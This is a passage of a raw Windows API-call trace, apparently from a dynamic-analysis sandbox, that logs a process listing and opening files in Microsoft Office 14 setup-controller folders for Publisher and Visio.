ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0268.719] GetLastError () returned 0x12 [0268.719] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0268.720] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0268.720] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.720] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="")) returned 1 [0268.720] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0268.720] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0268.720] GetLastError () returned 0x12 [0268.720] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959028) returned 1 [0268.720] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0268.720] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959130) returned 1 [0268.720] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.720] FindNextFileW (in: hFindFile=0x549100, lpFindFileData=0x118ec9c | out: lpFindFileData=0x118ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="")) returned 1 [0268.720] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0268.720] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0268.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0268.803] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0268.803] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95ce88 [0268.803] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95ce88, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x95ce88, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0268.803] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95ce88) returned 1 [0268.803] NtClose (Handle=0x190) returned 0x0 [0268.804] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.804] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.804] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0268.804] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0268.804] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.804] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959130 [0268.804] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0268.804] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.804] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="")) returned 1 [0268.804] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.804] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.804] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.804] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.804] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.804] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959028 [0268.804] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0268.804] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x95a310 [0268.805] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x95c638 [0268.805] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.805] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0268.805] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.805] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.805] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.805] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.806] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.806] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x95a330 [0268.806] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x95c740 [0268.806] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.806] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0268.806] GetLastError () returned 0x12 [0268.806] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x5490c0 [0268.806] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0268.806] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.806] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="")) returned 1 [0268.806] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0268.806] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0268.806] GetLastError () returned 0x12 [0268.806] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959130) returned 1 [0268.806] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0268.807] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959028) returned 1 [0268.807] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.807] FindNextFileW (in: hFindFile=0x549100, lpFindFileData=0x118ec9c | out: lpFindFileData=0x118ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0268.807] FindNextFileW (in: hFindFile=0x549100, lpFindFileData=0x118ec9c | out: lpFindFileData=0x118ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.en-us", cAlternateFileName="")) returned 1 [0268.807] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0268.807] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0268.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0268.962] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0268.962] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95ce88 [0268.962] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95ce88, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x95ce88, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0268.962] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95ce88) returned 1 [0268.962] NtClose (Handle=0x194) returned 0x0 [0268.962] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.962] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.962] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0268.962] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0268.962] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.962] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959028 [0268.962] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x5490c0 [0268.962] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.962] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0268.962] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.963] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.963] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.963] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.963] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.963] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959130 [0268.963] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0268.963] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x95a350 [0268.963] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x95cea0 [0268.963] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.963] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1 [0268.963] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.963] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.963] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.963] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.963] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0268.963] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x95a370 [0268.963] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x95cfa8 [0268.963] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0268.963] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0 [0268.963] GetLastError () returned 0x12 [0268.963] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0268.963] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0268.964] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.964] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0268.964] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1 [0268.964] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0 [0268.964] GetLastError () returned 0x12 [0268.964] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959028) returned 1 [0268.964] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0268.964] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959130) returned 1 [0268.964] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0268.964] FindNextFileW (in: hFindFile=0x549100, lpFindFileData=0x118ec9c | out: lpFindFileData=0x118ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0268.964] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0268.964] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0269.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0269.095] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0269.095] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x95ee88 [0269.095] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x95ee88, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x95ee88, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0269.095] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x95ee88) returned 1 [0269.095] NtClose 